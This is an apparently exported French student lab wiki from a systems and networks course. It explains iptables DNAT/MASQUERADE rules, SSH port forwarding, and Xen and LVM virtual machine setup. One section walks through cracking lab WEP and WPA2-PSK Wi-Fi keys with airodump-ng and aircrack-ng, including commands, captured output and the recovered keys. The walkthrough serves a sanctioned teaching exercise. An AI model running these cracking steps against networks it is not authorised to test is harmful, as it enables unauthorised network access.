==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc on exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si on a une politique restrictive). Dans ton cas, on n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
==== Autre amélioration très recommandée : préciser l’interface de sortie ====&lt;br /&gt;
&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, on peut NATer des flux que on ne voulais pas NATer si on a plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
==== Explication de PREROUTING et POSTROUTING ====&lt;br /&gt;
&lt;br /&gt;
===== PREROUTING : “avant la décision de routage” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Dès qu’un paquet '''entre''' sur la machine (depuis une interface réseau), ''avant'' que Linux décide s’il doit :&lt;br /&gt;
&lt;br /&gt;
* le garder pour lui (INPUT),&lt;br /&gt;
* ou le renvoyer vers un autre réseau (FORWARD).&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''DNAT''' (redirection de destination), parce que on veux changer la destination '''avant''' que le kernel choisisse où l’envoyer.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (port forwarding)'''&lt;br /&gt;
&lt;br /&gt;
Quelqu’un sur Internet contacte :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ta règle en PREROUTING fait :&lt;br /&gt;
&lt;br /&gt;
* destination devient &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite seulement, Linux dit :&lt;br /&gt;
&lt;br /&gt;
“ok, ça doit partir vers le réseau interne” → il route vers &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”&lt;br /&gt;
&lt;br /&gt;
===== POSTROUTING : “juste avant de sortir” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Après que Linux a déjà décidé '''par où''' le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''SNAT / MASQUERADE''' (changer l’adresse source), parce que :&lt;br /&gt;
&lt;br /&gt;
* on sais maintenant exactement sur quelle interface ça sort,&lt;br /&gt;
* et donc quelle IP source externe utiliser.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (NAT sortant / masquerade)'''&lt;br /&gt;
&lt;br /&gt;
Une VM interne envoie vers Internet :&lt;br /&gt;
&lt;br /&gt;
* source &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → destination &amp;lt;code&amp;gt;1.2.3.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En POSTROUTING, on remplaces la source :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (IP publique du mandataire)&lt;br /&gt;
&lt;br /&gt;
Comme ça, Internet répond à &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;, et le mandataire retransmet à la VM grâce à conntrack.&lt;br /&gt;
&lt;br /&gt;
POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peut encore modifier l’étiquette avant qu’il parte.”&lt;br /&gt;
&lt;br /&gt;
===== Résumé =====&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : avant le routage → on change surtout la '''destination''' (DNAT / redirections de ports)&lt;br /&gt;
* '''POSTROUTING''' : après le routage → on change surtout la '''source''' (SNAT / MASQUERADE)&lt;br /&gt;
&lt;br /&gt;
= Serveur SSH et Fail2ban =&lt;br /&gt;
&lt;br /&gt;
=== Objectif : se connecter en SSH depuis l’extérieur ===&lt;br /&gt;
Dans notre archi :&lt;br /&gt;
&lt;br /&gt;
* Les '''VM services''' sont en IPv4 privé (&amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;) → pas accessibles directement depuis Internet en IPv4.&lt;br /&gt;
* Le '''mandataire''' (Rosemonde) a une IPv4 publique (&amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;) → c’est lui qui reçoit les connexions externes.&lt;br /&gt;
* Donc pour SSH vers une VM service en IPv4, on fait une '''redirection de port (DNAT)''' sur Rosemonde.&lt;br /&gt;
&lt;br /&gt;
Exemple (déjà dans nos règles NAT) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban pour SSH ===&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12404</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12404"/>
		<updated>2026-02-25T21:09:42Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', on a '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : on peut dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, on es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* on peut ajouter autant de VIF que on veux '''en théorie'''&lt;br /&gt;
* en pratique : on restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
